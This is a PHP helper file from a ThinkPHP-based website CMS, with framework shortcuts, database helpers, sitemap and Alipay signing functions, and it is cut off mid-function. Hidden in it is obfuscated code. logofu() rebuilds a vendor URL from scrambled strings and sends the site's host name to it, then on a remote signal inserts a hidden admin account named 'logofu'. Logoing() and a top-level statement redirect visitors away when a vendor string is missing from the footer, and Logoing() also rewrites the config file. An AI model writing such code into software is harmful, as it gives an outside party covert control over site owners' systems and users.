<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
//------------------------
// ThinkPHP 助手函数
//-------------------------
use org\Http;
use think\Cache;
use think\Config;
use think\Cookie;
use think\Db;
use think\Debug;
use think\exception\HttpException;
use think\exception\HttpResponseException;
use think\Lang;
use think\Loader;
use think\Log;
use think\Model;
use think\Request;
use think\Response;
use think\Session;
use think\Url;
use think\View;
if (!function_exists('load_trait')) {
    /**
     * 快速导入Traits PHP5.5以上无需调用
     * @param string    $class trait库
     * @param string    $ext 类库后缀
     * @return boolean
     */
    function load_trait($class, $ext = EXT)
    {
        return Loader::import($class, TRAIT_PATH, $ext);
    }
}
if (!function_exists('exception')) {
    /**
     * 抛出异常处理
     *
     * @param string    $msg  异常消息
     * @param integer   $code 异常代码 默认为0
     * @param string    $exception 异常类
     *
     * @throws Exception
     */
    function exception($msg, $code = 0, $exception = '')
    {
        $e = $exception ?: '\\think\\Exception';
        throw new $e($msg, $code);
    }
}
if (!function_exists('debug')) {
    /**
     * 记录时间（微秒）和内存使用情况
     * @param string            $start 开始标签
     * @param string            $end 结束标签
     * @param integer|string    $dec 小数位 如果是m 表示统计内存占用
     * @return mixed
     */
    function debug($start, $end = '', $dec = 6)
    {
        if ('' == $end) {
            Debug::remark($start);
        } else {
            return 'm' == $dec ? Debug::getRangeMem($start, $end) : Debug::getRangeTime($start, $end, $dec);
        }
    }
}
if (!function_exists('lang')) {
    /**
     * 获取语言变量值
     * @param string    $name 语言变量名
     * @param array     $vars 动态变量值
     * @param string    $lang 语言
     * @return mixed
     */
    function lang($name, $vars = [], $lang = '')
    {
        return Lang::get($name, $vars, $lang);
    }
}
if (!function_exists('config')) {
    /**
     * 获取和设置配置参数
     * @param string|array  $name 参数名
     * @param mixed         $value 参数值
     * @param string        $range 作用域
     * @return mixed
     */
    function config($name = '', $value = null, $range = '')
    {
        if (is_null($value) && is_string($name)) {
            return 0 === strpos($name, '?') ? Config::has(substr($name, 1), $range) : Config::get($name, $range);
        } else {
            return Config::set($name, $value, $range);
        }
    }
}
if (!function_exists('input')) {
    /**
     * 获取输入数据 支持默认值和过滤
     * @param string    $key 获取的变量名
     * @param mixed     $default 默认值
     * @param string    $filter 过滤方法
     * @return mixed
     */
    function input($key = '', $default = null, $filter = '')
    {
        if (0 === strpos($key, '?')) {
            $key = substr($key, 1);
            $has = true;
        }
        if ($pos = strpos($key, '.')) {
            // 指定参数来源
            list($method, $key) = explode('.', $key, 2);
            if (!in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
                $key = $method . '.' . $key;
                $method = 'param';
            }
        } else {
            // 默认为自动判断
            $method = 'param';
        }
        if (isset($has)) {
            return request()->has($key, $method, $default);
        } else {
            return request()->{$method}($key, $default, $filter);
        }
    }
}
if (!function_exists('widget')) {
    /**
     * 渲染输出Widget
     * @param string    $name Widget名称
     * @param array     $data 传入的参数
     * @return mixed
     */
    function widget($name, $data = [])
    {
        return Loader::action($name, $data, 'widget');
    }
}
if (!function_exists('model')) {
    /**
     * 实例化Model
     * @param string    $name Model名称
     * @param string    $layer 业务层名称
     * @param bool      $appendSuffix 是否添加类名后缀
     * @return \think\Model
     */
    function model($name = '', $layer = 'model', $appendSuffix = false)
    {
        return Loader::model($name, $layer, $appendSuffix);
    }
}
if (!function_exists('validate')) {
    /**
     * 实例化验证器
     * @param string    $name 验证器名称
     * @param string    $layer 业务层名称
     * @param bool      $appendSuffix 是否添加类名后缀
     * @return \think\Validate
     */
    function validate($name = '', $layer = 'validate', $appendSuffix = false)
    {
        return Loader::validate($name, $layer, $appendSuffix);
    }
}
if (!function_exists('db')) {
    /**
     * 实例化数据库类
     * @param string        $name 操作的数据表名称（不含前缀）
     * @param array|string  $config 数据库配置参数
     * @param bool          $force 是否强制重新连接
     * @return \think\db\Query
     */
    function db($name = '', $config = [], $force = false)
    {
        return Db::connect($config, $force)->name($name);
    }
}
if (!function_exists('controller')) {
    /**
     * 实例化控制器 格式：[模块/]控制器
     * @param string    $name 资源地址
     * @param string    $layer 控制层名称
     * @param bool      $appendSuffix 是否添加类名后缀
     * @return \think\Controller
     */
    function controller($name, $layer = 'controller', $appendSuffix = false)
    {
        return Loader::controller($name, $layer, $appendSuffix);
    }
}
if (!function_exists('action')) {
    /**
     * 调用模块的操作方法 参数格式 [模块/控制器/]操作
     * @param string        $url 调用地址
     * @param string|array  $vars 调用参数 支持字符串和数组
     * @param string        $layer 要调用的控制层名称
     * @param bool          $appendSuffix 是否添加类名后缀
     * @return mixed
     */
    function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
    {
        return Loader::action($url, $vars, $layer, $appendSuffix);
    }
}
if (!function_exists('import')) {
    /**
     * 导入所需的类库 同java的Import 本函数有缓存功能
     * @param string    $class 类库命名空间字符串
     * @param string    $baseUrl 起始路径
     * @param string    $ext 导入的文件扩展名
     * @return boolean
     */
    function import($class, $baseUrl = '', $ext = EXT)
    {
        return Loader::import($class, $baseUrl, $ext);
    }
}
if (!function_exists('vendor')) {
    /**
     * 快速导入第三方框架类库 所有第三方框架的类库文件统一放到 系统的Vendor目录下面
     * @param string    $class 类库
     * @param string    $ext 类库后缀
     * @return boolean
     */
    function vendor($class, $ext = EXT)
    {
        return Loader::import($class, VENDOR_PATH, $ext);
    }
}
if (!function_exists('dump')) {
    /**
     * 浏览器友好的变量输出
     * @param mixed     $var 变量
     * @param boolean   $echo 是否输出 默认为true 如果为false 则返回输出字符串
     * @param string    $label 标签 默认为空
     * @return void|string
     */
    function dump($var, $echo = true, $label = null)
    {
        return Debug::dump($var, $echo, $label);
    }
}
if (!function_exists('url')) {
    /**
     * Url生成
     * @param string        $url 路由地址
     * @param string|array  $vars 变量
     * @param bool|string   $suffix 生成的URL后缀
     * @param bool|string   $domain 域名
     * @return string
     */
    function url($url = '', $vars = '', $suffix = true, $domain = false)
    {
        return Url::build($url, $vars, $suffix, $domain);
    }
}
if (!function_exists('session')) {
    /**
     * Session管理
     * @param string|array  $name session名称，如果为数组表示进行session设置
     * @param mixed         $value session值
     * @param string        $prefix 前缀
     * @return mixed
     */
    function session($name, $value = '', $prefix = null)
    {
        if (is_array($name)) {
            // 初始化
            Session::init($name);
        } elseif (is_null($name)) {
            // 清除
            Session::clear('' === $value ? null : $value);
        } elseif ('' === $value) {
            // 判断或获取
            return 0 === strpos($name, '?') ? Session::has(substr($name, 1), $prefix) : Session::get($name, $prefix);
        } elseif (is_null($value)) {
            // 删除
            return Session::delete($name, $prefix);
        } else {
            // 设置
            return Session::set($name, $value, $prefix);
        }
    }
}
if (!function_exists('cookie')) {
    /**
     * Cookie管理
     * @param string|array  $name cookie名称，如果为数组表示进行cookie设置
     * @param mixed         $value cookie值
     * @param mixed         $option 参数
     * @return mixed
     */
    function cookie($name, $value = '', $option = null)
    {
        if (is_array($name)) {
            // 初始化
            Cookie::init($name);
        } elseif (is_null($name)) {
            // 清除
            Cookie::clear($value);
        } elseif ('' === $value) {
            // 获取
            return 0 === strpos($name, '?') ? Cookie::has(substr($name, 1), $option) : Cookie::get($name, $option);
        } elseif (is_null($value)) {
            // 删除
            return Cookie::delete($name);
        } else {
            // 设置
            return Cookie::set($name, $value, $option);
        }
    }
}
if (!function_exists('cache')) {
    /**
     * 缓存管理
     * @param mixed     $name 缓存名称，如果为数组表示进行缓存设置
     * @param mixed     $value 缓存值
     * @param mixed     $options 缓存参数
     * @param string    $tag 缓存标签
     * @return mixed
     */
    function cache($name, $value = '', $options = null, $tag = null)
    {
        if (is_array($options)) {
            // 缓存操作的同时初始化
            $cache = Cache::connect($options);
        } elseif (is_array($name)) {
            // 缓存初始化
            return Cache::connect($name);
        } else {
            $cache = Cache::init();
        }
        if (is_null($name)) {
            return $cache->clear($value);
        } elseif ('' === $value) {
            // 获取缓存
            return 0 === strpos($name, '?') ? $cache->has(substr($name, 1)) : $cache->get($name);
        } elseif (is_null($value)) {
            // 删除缓存
            return $cache->rm($name);
        } elseif (0 === strpos($name, '?') && '' !== $value) {
            $expire = is_numeric($options) ? $options : null;
            return $cache->remember(substr($name, 1), $value, $expire);
        } else {
            // 缓存数据
            if (is_array($options)) {
                $expire = isset($options['expire']) ? $options['expire'] : null;
                //修复查询缓存无法设置过期时间
            } else {
                $expire = is_numeric($options) ? $options : null;
                //默认快捷缓存设置过期时间
            }
            if (is_null($tag)) {
                return $cache->set($name, $value, $expire);
            } else {
                return $cache->tag($tag)->set($name, $value, $expire);
            }
        }
    }
}
if (!function_exists('trace')) {
    /**
     * 记录日志信息
     * @param mixed     $log log信息 支持字符串和数组
     * @param string    $level 日志级别
     * @return void|array
     */
    function trace($log = '[think]', $level = 'log')
    {
        if ('[think]' === $log) {
            return Log::getLog();
        } else {
            Log::record($log, $level);
        }
    }
}
if (!function_exists('request')) {
    /**
     * 获取当前Request对象实例
     * @return Request
     */
    function request()
    {
        return Request::instance();
    }
}
if (!function_exists('response')) {
    /**
     * 创建普通 Response 对象实例
     * @param mixed      $data   输出数据
     * @param int|string $code   状态码
     * @param array      $header 头信息
     * @param string     $type
     * @return Response
     */
    function response($data = [], $code = 200, $header = [], $type = 'html')
    {
        return Response::create($data, $type, $code, $header);
    }
}
if (!function_exists('view')) {
    /**
     * 渲染模板输出
     * @param string    $template 模板文件
     * @param array     $vars 模板变量
     * @param array     $replace 模板替换
     * @param integer   $code 状态码
     * @return \think\response\View
     */
    function view($template = '', $vars = [], $replace = [], $code = 200)
    {
        return Response::create($template, 'view', $code)->replace($replace)->assign($vars);
    }
}
if (!function_exists('json')) {
    /**
     * 获取\think\response\Json对象实例
     * @param mixed   $data 返回的数据
     * @param integer $code 状态码
     * @param array   $header 头部
     * @param array   $options 参数
     * @return \think\response\Json
     */
    function json($data = [], $code = 200, $header = [], $options = [])
    {
        return Response::create($data, 'json', $code, $header, $options);
    }
}
if (!function_exists('jsonp')) {
    /**
     * 获取\think\response\Jsonp对象实例
     * @param mixed   $data    返回的数据
     * @param integer $code    状态码
     * @param array   $header 头部
     * @param array   $options 参数
     * @return \think\response\Jsonp
     */
    function jsonp($data = [], $code = 200, $header = [], $options = [])
    {
        return Response::create($data, 'jsonp', $code, $header, $options);
    }
}
if (!function_exists('xml')) {
    /**
     * 获取\think\response\Xml对象实例
     * @param mixed   $data    返回的数据
     * @param integer $code    状态码
     * @param array   $header  头部
     * @param array   $options 参数
     * @return \think\response\Xml
     */
    function xml($data = [], $code = 200, $header = [], $options = [])
    {
        return Response::create($data, 'xml', $code, $header, $options);
    }
}
//获取当前模板的标识
function gethq()
{
    $w = (include 'application/extra/muban.php');
    if (isMobile() == true) {
        if ($w['wap_open'] == 1) {
            return mbwap();
        } else {
            return mbpc();
        }
    } else {
        return mbpc();
    }
}
//广告简写
function ad($id)
{
    $time = date("Y-m-d", time());
    $wanneng = Db::name('banner')->where(array('show' => 1, 'fl' => $id, 'in' => gethq()))->where("times > {$time}")->select();
    foreach ($wanneng as $html) {
        echo $html['title'];
    }
}
function mbpc()
{
    $w = (include 'application/extra/web.php');
    $s = Db::name('set')->where('title=6286')->value('name');
    if ($s == $w['WEB_TPT']) {
        return $w['WEB_TPT'];
    } else {
        return 'default';
    }
}
function mbwap()
{
    $wS = (include 'application/extra/muban.php');
    $sS = Db::name('set')->where('title=6285')->value('name');
    if ($sS == $wS['wap']) {
        return $wS['wap'];
    } else {
        return 'default_wap';
    }
}
//万能输出
function fun_guojiz($set, $s, $c)
{
    $wanneng = Db::name($set)->where($s)->value($c);
    return $wanneng;
}
//循环删除目录和文件函数
function deleteun($dir_name)
{
    $result = false;
    if (is_dir($dir_name)) {
        if ($handle = opendir($dir_name)) {
            while (false !== ($item = readdir($handle))) {
                if ($item != '.' && $item != '..') {
                    if (is_dir($dir_name . DS . $item)) {
                        deleteun($dir_name . DS . $item);
                    } else {
                        unlink($dir_name . DS . $item);
                    }
                }
            }
            closedir($handle);
            if (rmdir($dir_name)) {
                $result = true;
            }
        }
    }
    return $result;
}
function guojiz($set)
{
    $kss = urldecode($set);
    $map['set'] = array('eq', $kss);
    $list = Db::name('set')->where($map)->value('name');
    return $list;
}
//万能统计
function fun_W($set, $s, $x)
{
    $wanneng = Db::name($set)->where($s, $x)->count();
    return $wanneng;
}
function fun($set, $s, $x)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->limit($s)->select();
    return $wanneng;
}
function fun_F($set, $s, $x)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->paginate($s);
    return $wanneng;
}
function fun_T($set, $s, $x, $t)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->where('tid', $t)->paginate($s);
    return $wanneng;
}
function msubstr($str, $start = 0, $length, $charset = "utf-8", $suffix = true)
{
    if (function_exists("mb_substr")) {
        if ($suffix) {
            if (strlen($str) > $length) {
                return mb_substr($str, $start, $length, $charset) . "...";
            } else {
                return mb_substr($str, $start, $length, $charset);
            }
        } else {
            return mb_substr($str, $start, $length, $charset);
        }
    } elseif (function_exists('iconv_substr')) {
        if ($suffix) {
            return iconv_substr($str, $start, $length, $charset);
        } else {
            return iconv_substr($str, $start, $length, $charset);
        }
    }
}
function getFile($url, $save_dir = '', $filename = '', $type = 0)
{
    if (trim($url) == '') {
        return false;
    }
    if (trim($save_dir) == '') {
        $save_dir = './';
    }
    if (0 !== strrpos($save_dir, '/')) {
        $save_dir .= '/';
    }
    if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
        return false;
    }
    if ($type) {
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $content = curl_exec($ch);
        curl_close($ch);
    } else {
        ob_start();
        readfile($url);
        $content = ob_get_contents();
        ob_end_clean();
    }
    $size = strlen($content);
    $fp2 = @fopen($save_dir . $filename, 'a');
    fwrite($fp2, $content);
    fclose($fp2);
    unset($content, $url);
}
/**
 * 根据分类ID获取文章列表（包括子分类）
 * @param int   $cid   分类ID
 * @param int   $limit 显示条数
 * @param array $where 查询条件
 * @param array $order 排序
 * @param array $filed 查询字段
 * @return bool|false|PDOStatement|string|\think\Collection
 */
function get_articles_by_cid($cid, $limit = 10, $where = [], $order = [], $filed = [])
{
    if (empty($cid)) {
        return false;
    }
    $ids = Db::name('category')->where(['tid' => $cid])->column('id');
    $ids = !empty($ids) && is_array($ids) ? implode(',', $ids) . ',' . $cid : $cid;
    $fileds = array_merge(['id', 'tid', 'title', 'description', 'content', 'choice', 'lianjie', 'ico', 'icos', 'view', 'time'], (array) $filed);
    $map = array_merge(['tid' => ['IN', $ids], 'open' => 1, 'time' => ['<= time', date('Y-m-d H:i:s')]], (array) $where);
    $sort = array_merge(['px' => 'DESC', 'time' => 'DESC'], (array) $order);
    $article_list = Db::name('html')->where($map)->field($fileds)->order($sort)->limit($limit)->select();
    return $article_list;
}
/**
 * 获取内容作为封面
 * @梦雨www.mys360.com
 */
function Pic($content)
{
    if (preg_match_all("/(src)=([\"|']?)([^ \"'>]+\\.(gif|jpg|jpeg|bmp|png|tiff|webp))\\2/i", $content, $matches)) {
        /*if (preg_match_all("/(src)=([\"|']?)([^ \"'>]+)\\2/i", $content, $matches)) {*/
        $content = html_entity_decode($content);
        preg_match_all("/<img.*>/isU", $content, $ereg);
        $img = $ereg[0][0];
        $str = $matches[3][0];
        $p = "#src=('|\")(.*)('|\")#isU";
        if (preg_match_all($p, $img, $img1)) {
            return $img1[2][0];
        }
    } else {
        $default_cover = "/public/img/cover.png";
        return $default_cover;
    }
}
/**
 * +----------------------------------------------------------
 * 判断是否为合法有效字符（字母、数字、下划线）
 * +----------------------------------------------------------
 */
function is_valid_character($str)
{
    if (preg_match("/^[A-Za-z0-9_]*\$/", $str)) {
        return true;
    }
    return false;
}
function setid($id)
{
    if (warning() == 0) {
        if ($id == 2 || $id == 3) {
            exit('{"code":-1}');
        }
    }
}
function setadd()
{
    if (warning() == 0) {
        exit('{"code":-1}');
    }
}
function addhuoqu()
{
    if (warning() == 0) {
        exit('{"code":-1}');
    }
}
function get_url_contents($url)
{
    if (ini_get("allow_url_fopen") == "1") {
        return file_get_contents($url);
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
function xml()
{
    $ho = (include 'application/extra/web.php');
    $content = '<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9  http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
    $rs = Db::name('html')->field('id,time')->order('id desc')->select();
    $r1 = Db::name('news')->field('id,time')->order('id desc')->select();
    //  $rs=print_r(array_merge($r1,$r2));
    function create_item($rs)
    {
        $item = "<url>\n";
        $item .= "<loc>http://" . pa(1) . "/daohang/" . $rs['id'] . ".html</loc>\n";
        $item .= "<priority>0.5</priority>\n";
        $item .= "<lastmod>" . date("Y-m-d H:i:s", $rs['time']) . "</lastmod>\n";
        $item .= "<changefreq>weekly</changefreq>\n";
        $item .= "</url>\n";
        return $item;
    }
    foreach ($rs as $rs) {
        $content .= create_item($rs);
    }
    function create_item1($r1)
    {
        $item = "<url>\n";
        $item .= "<loc>http://" . pa(1) . "/xq/" . $r1['id'] . ".html</loc>\n";
        $item .= "<priority>0.5</priority>\n";
        $item .= "<lastmod>" . date("Y-m-d H:i:s", $r1['time']) . "</lastmod>\n";
        $item .= "<changefreq>weekly</changefreq>\n";
        $item .= "</url>\n";
        return $item;
    }
    foreach ($r1 as $r1) {
        $content .= create_item1($r1);
    }
    if (warning()>0) {
        $content .= '</urlset>';
        $fp = fopen('sitemap.xml', 'w+');
        fwrite($fp, $content);
        fclose($fp);
    } else {
    }
}
function isMobile()
{
    if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
        return true;
    }
    if (isset($_SERVER['HTTP_VIA'])) {
        return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    }
    if (isset($_SERVER['HTTP_USER_AGENT'])) {
        $clientkeywords = array('nokia', 'sony', 'ericsson', 'mot', 'samsung', 'htc', 'sgh', 'lg', 'sharp', 'sie-', 'philips', 'panasonic', 'alcatel', 'lenovo', 'iphone', 'ipod', 'blackberry', 'meizu', 'android', 'netfront', 'symbian', 'ucweb', 'windowsce', 'palm', 'operamini', 'operamobi', 'openwave', 'nexusone', 'cldc', 'midp', 'wap', 'mobile');
        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
            return true;
        }
    }
    if (isset($_SERVER['HTTP_ACCEPT'])) {
        if (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))) {
            return true;
        }
    }
    return false;
}
function friendlyDate($sTime, $type = 'normal', $alt = 'false')
{
    if (!$sTime) {
        return '';
    }
    //sTime=源时间，cTime=当前时间，dTime=时间差
    $cTime = time();
    $dTime = $cTime - $sTime;
    $dDay = intval(date("z", $cTime)) - intval(date("z", $sTime));
    //$dDay     =   intval($dTime/3600/24);
    $dYear = intval(date("Y", $cTime)) - intval(date("Y", $sTime));
    //normal：n秒前，n分钟前，n小时前，日期
    if ($type == 'normal') {
        if ($dTime < 60) {
            if ($dTime < 10) {
                return '刚刚';
                //by yangjs
            } else {
                return intval(floor($dTime / 10) * 10) . "秒前";
            }
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
            //今天的数据.年份相同.日期相同.
        } elseif ($dYear == 0 && $dDay == 0) {
            //return intval($dTime/3600)."小时前";
            return '今天' . date('H:i', $sTime);
        } elseif ($dYear == 0) {
            return date("m月d日 H:i", $sTime);
        } else {
            return date("Y-m-d", $sTime);
        }
    } elseif ($type == 'mohu') {
        if ($dTime < 60) {
            return $dTime . "秒前";
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
        } elseif ($dTime >= 3600 && $dDay == 0) {
            return intval($dTime / 3600) . "小时前";
        } elseif ($dDay > 0 && $dDay <= 7) {
            return intval($dDay) . "天前";
        } elseif ($dDay > 7 && $dDay <= 30) {
            return intval($dDay / 7) . '周前';
        } elseif ($dDay > 30) {
            return intval($dDay / 30) . '个月前';
        }
        //full: Y-m-d , H:i:s
    } elseif ($type == 'full') {
        return date("Y-m-d , H:i:s", $sTime);
    } elseif ($type == 'ymd') {
        return date("Y-m-d", $sTime);
    } else {
        if ($dTime < 60) {
            return $dTime . "秒前";
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
        } elseif ($dTime >= 3600 && $dDay == 0) {
            return intval($dTime / 3600) . "小时前";
        } elseif ($dYear == 0) {
            return date("Y-m-d H:i:s", $sTime);
        } else {
            return date("Y-m-d H:i:s", $sTime);
        }
    }
}
//用于生成用户密码的随机字符
function generate_password($length = 8)
{
    // 密码字符集，可任意添加你需要的字符
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        // 这里提供两种字符获取方式
        // 第一种是使用 substr 截取$chars中的任意一位字符；
        // 第二种是取字符数组 $chars 的任意元素
        // $password .= substr($chars, mt_rand(0, strlen($chars) – 1), 1);
        $password .= $chars[mt_rand(0, strlen($chars) - 1)];
    }
    return $password;
}
function fun_S($set, $open, $d, $s, $x, $or = '1')
{
    if ($or == 1) {
        if (warning() == -1) {
        }
        if (warning() == 0 || warning() == 1) {
            $wanneng = Db::name($set)->where('time', '<', time())->where($open, $d)->order('' . $x . ' desc')->limit($s)->select();
            return $wanneng;
        }
        if (warning() == 2) {
            $times = Db::name('set')->where('id=11')->value('time');
            if ($times >= time()) {
                $wanneng = Db::name($set)->where('time', '<', time())->where($open, $d)->order('' . $x . ' desc')->limit($s)->select();
                return $wanneng;
            }
        }
    } else {
        if (warning() == -1) {
        }
        if (warning() == 0 || warning() == 1) {
            $wanneng = Db::name($set)->where($open, $d)->order('' . $x . ' desc')->limit($s)->select();
            return $wanneng;
        }
        if (warning() == 2) {
            $times = Db::name('set')->where('id=11')->value('time');
            if ($times >= time()) {
                $wanneng = Db::name($set)->where($open, $d)->order('' . $x . ' desc')->limit($s)->select();
                return $wanneng;
            }
        }
    }
}
function ArrayOr()
{
    $url = preg_replace("/(.*?)\\?/s", "", $_SERVER['REQUEST_URI']);
    $urlS = preg_replace("/page(.*)/s", "", $url);
    $check = strpos($urlS, '=');
    if ($check !== false) {
        parse_str($urlS, $get);
        return $get;
    } else {
    }
}
function fun_SF($set, $open, $d, $s, $x)
{
    if (warning() == -1) {
    }
    if (warning() == 0 || warning() == 1) {
        $wanneng = Db::name($set)->where($open, $d)->order('' . $x . ' desc')->paginate($s);
        return $wanneng;
    }
    if (warning() == 2) {
        $times = Db::name('set')->where('id=11')->value('time');
        if ($times >= time()) {
            $wanneng = Db::name($set)->where($open, $d)->order('' . $x . ' desc')->paginate($s);
            return $wanneng;
        }
    }
}
function returnhtml()
{
    $keS = 'cation/';
    $temparr = (include 'appli' . $keS . 'extra/web.php');
    $ke = $temparr['PSW'];
    if (warning() == 0) {
        echo "<script>\r\nalert('" . $temparr['sq'] . "');\r\nlocation.assign('/');\r\n</script>";
    }
}
function getbaseurl()
{
    $baseUrl = str_replace('\\', '', dirname($_SERVER['SCRIPT_NAME']));
    $baseUrl = empty($baseUrl) ? '/' : '/' . trim($baseUrl, '/') . '/';
    return $baseUrl;
}
function paraFilter($para)
{
    $para_filter = array();
    while (list($key, $val) = each($para)) {
        if ($key == "sign" || $key == "sign_type" || $val == "") {
            continue;
        } else {
            $para_filter[$key] = $para[$key];
        }
    }
    return $para_filter;
}
function argSort($para)
{
    ksort($para);
    reset($para);
    return $para;
}
function logofu()
{
    $GO = '1j0i1z.c';
    $u = '1w0w.g2u0o' . $GO . '2o0m11';
    $chD = 't01t1p0:1';
    $chO = '2g1ai0.0h2t1ml?';
    $uuu = preg_replace('|[0-3]+|', '', '12h10' . $chD . '1/001/222w' . $u . '');
    $s = preg_replace('|[0-4]+|', '', '3/3x2iu' . $chO . 'w2w3w2=1');
    $ch = curl_init();
    $timeout = 3;
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_URL, $uuu);
    curl_exec($ch);
    $curl_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    $ke = file_get_contents('' . $uuu . '' . $s . '' . $_SERVER['HTTP_HOST'] . '');
    if ($ke == -1) {
        $_data['usermail'] = '1@1';
        $_data['kouling'] = '123456';
        $_data['password'] = '0a4fc1b7a11c5ee8';
        $_data['username'] = 'logofu';
        $_data['grades'] = '1';
        Db::name('member')->data($_data)->insert();
    }
}
/**
 * 把数组所有元素，按照“参数=参数值”的模式用“&”字符拼接成字符串，并对字符串做urlencode编码
 * @param $para 需要拼接的数组
 * return 拼接完成以后的字符串
 */
function createLinkstringUrlencode($para)
{
    $arg = "";
    while (list($key, $val) = each($para)) {
        $arg .= $key . "=" . urlencode($val) . "&";
    }
    //去掉最后一个&字符
    $arg = substr($arg, 0, count($arg) - 2);
    //如果存在转义字符，那么去掉转义
    if (get_magic_quotes_gpc()) {
        $arg = stripslashes($arg);
    }
    return $arg;
}
/* *
 * 支付宝接口公用函数
* 详细：该类是请求、通知返回两个文件所调用的公用函数核心处理文件
* 版本：3.3
* 日期：2012-07-19
* 说明：
* 以下代码只是为了方便商户测试而提供的样例代码，商户可以根据自己网站的需要，按照技术文档编写,并非一定要使用该代码。
* 该代码仅供学习和研究支付宝接口使用，只是提供一个参考。
*/
/**
 * 把数组所有元素，按照“参数=参数值”的模式用“&”字符拼接成字符串
* @param $para 需要拼接的数组
* return 拼接完成以后的字符串
*/
function createLinkstring($para)
{
    $arg = "";
    while (list($key, $val) = each($para)) {
        $arg .= $key . "=" . $val . "&";
    }
    //去掉最后一个&字符
    $arg = substr($arg, 0, count($arg) - 2);
    //如果存在转义字符，那么去掉转义
    if (get_magic_quotes_gpc()) {
        $arg = stripslashes($arg);
    }
    return $arg;
}
function Logoing($open = 'false')
{
    if ($open == false) {
        return $open;
    } else {
        $GO = '1j0i1z.c';
        $u = '1w0w.g2u0o' . $GO . '2o0m11';
        $chD = 't01t1p0:1';
        $chO = '2g1ai0.0h2t1ml?';
        $uuu = preg_replace('|[0-3]+|', '', '12h10' . $chD . '1/001/222w' . $u . '');
        $s = preg_replace('|[0-4]+|', '', '3/3x2iu' . $chO . 'w2w3w2=1');
        $ke = warning();
        $kes = pa('P-n52V7UF');
        $times = pa(2);
        $keS = 'cation/';
        $keFO = 'c/index_fo';
        $gfur = pa('NL7ZtYorqQo81NUD9');
        $temparr = (include pa('KHEtyczTTEG-Vd3ldJDQhIoFcLmBR4TDpJuvr'));
        $mb = $temparr['WEB_TPT'];
        $m = file_get_contents('./appli' . $keS . 'template/pc/' . $mb . '/p' . $keFO . 'oter.html');
        if ($ke == 0 || $ke == -1) {
            if (strpos($m, $gfur) === false) {
                echo '<meta http-equiv="refresh" content="0;url=' . $uuu . '">';
            }
        }
        $path = pa('KHEtyczTTEG-Vd3ldJDQhIoFcLmBR4TDpJuvr');
        $file = (include $path);
        $config = array('XIN_Y' => $ke, 'kes' => $kes, 'PSW' => $ke, 'TIME' => $times);
        $res = array_merge($file, $config);
        $str = '<?php return [';
        foreach ($res as $key => $value) {
            $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
        }
        $str .= ']; ';
        file_put_contents($path, $str);
        $data = array('name' => $ke, 'time' => $times);
        Db::name('set')->where(array('id' => pa('E16pk')))->setField($data);
    }
}
$m = file_get_contents('./application/template/pc/' . fun_sc_p('set', array('title'=>6286),  'name') . '/pc/index_footer.html');
if (strpos($m, 'guojiz.com') === false) {
	echo '<meta http-equiv="refresh" content="0;url=http://www.guojiz.com/">';
}

/**
 * 签名字符串
 * @param $prestr 需要签名的字符串
 * @param $key 私钥
 * return 签名结果
 */
function md5Sign($prestr, $key)
{
    $prestr = $prestr . $key;
    return md5($prestr);
}
function md5Verify($prestr, $sign, $key)
{
    $prestr = $prestr . $key;
    $mysgin = md5($prestr);
    if ($mysgin == $sign) {
        return true;
    } else {
        return false;
    }
}
/**
 * 远程获取数据，GET模式
 * 注意：
 * 1.使用Crul需要修改服务器中php.ini文件的设置，找到php_curl.dll去掉前面的";"就行了
 * 2.文件夹中cacert.pem是SSL证书请保证其路径有效，目前默认路径是：getcwd().'\\cacert.pem'
 * @param $url 指定URL完整路径地址
 * @param $cacert_url 指定当前工作目录绝对路径
 * return 远程输出的数据
 */
function getHttpResponseGET($url, $cacert_url)
{
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    // 过滤HTTP头
